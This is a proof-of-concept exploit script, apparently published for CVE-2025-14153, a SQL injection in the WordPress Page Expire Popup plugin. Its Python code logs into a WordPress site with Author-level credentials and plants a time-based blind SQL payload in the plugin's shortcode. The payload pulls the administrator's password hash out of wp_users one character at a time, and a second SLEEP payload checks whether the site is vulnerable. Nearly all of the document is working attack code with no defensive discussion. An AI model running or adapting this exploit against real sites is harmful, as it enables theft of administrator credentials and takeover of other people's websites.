CVE-2025-14153 WordPress Page Expire Popup SQL注入漏洞

import requests import time from urllib.parse import quote # Target WordPress site with Page Expire Popup plugin target_url = "http://target-site.com/" # Authentication credentials (Author-level or higher) username = "attacker" password = "attacker_password" # Login to WordPress session = requests.Session() login_url = target_url + "wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url + "wp-admin/" } session.post(login_url, data=login_data) # Time-based SQL Injection PoC - Extract admin user password hash # The vulnerable shortcode: [page_expire_popup id='<injection>'] def extract_char(position, ascii_value): """Extract a single character from admin password hash using time-based blind SQLi""" # SQL injection payload using SLEEP() for time-based blind injection # This payload checks if ASCII value at position matches payload = f"1' AND (SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE id=1 LIMIT 1),{position},1))={ascii_value},SLEEP(3),0)) AND '1'='1" # Create post with malicious shortcode post_url = target_url + "wp-admin/post-new.php" post_data = { "post_title": "SQLi Test Post", "post_content": f"[page_expire_popup id='{payload}']", "post_status": "publish" } start_time = time.time() response = session.post(post_url, data=post_data) elapsed_time = time.time() - start_time # If response takes >3 seconds, the condition was true return elapsed_time > 3 # Example: Extract first character of admin password hash # print(extract_char(1, 64)) # Check if first char ASCII value is 64 (@) # Alternative simpler PoC to verify vulnerability exists def verify_vulnerability(): """Verify the SQL injection vulnerability exists""" # Time-based detection payload detect_payload = "1' AND (SELECT SLEEP(5)) AND '1'='1" test_content = f"[page_expire_popup id='{detect_payload}']" post_data = { "post_title": "Vulnerability Test", "post_content": test_content, "post_status": "publish" } start = time.time() session.post(target_url + "wp-admin/post-new.php", data=post_data) elapsed = time.time() - start if elapsed >= 5: print("[+] Vulnerability confirmed! Time-based SQL injection works.") else: print("[-] Vulnerability not detected or already patched.") # Run verification # verify_vulnerability()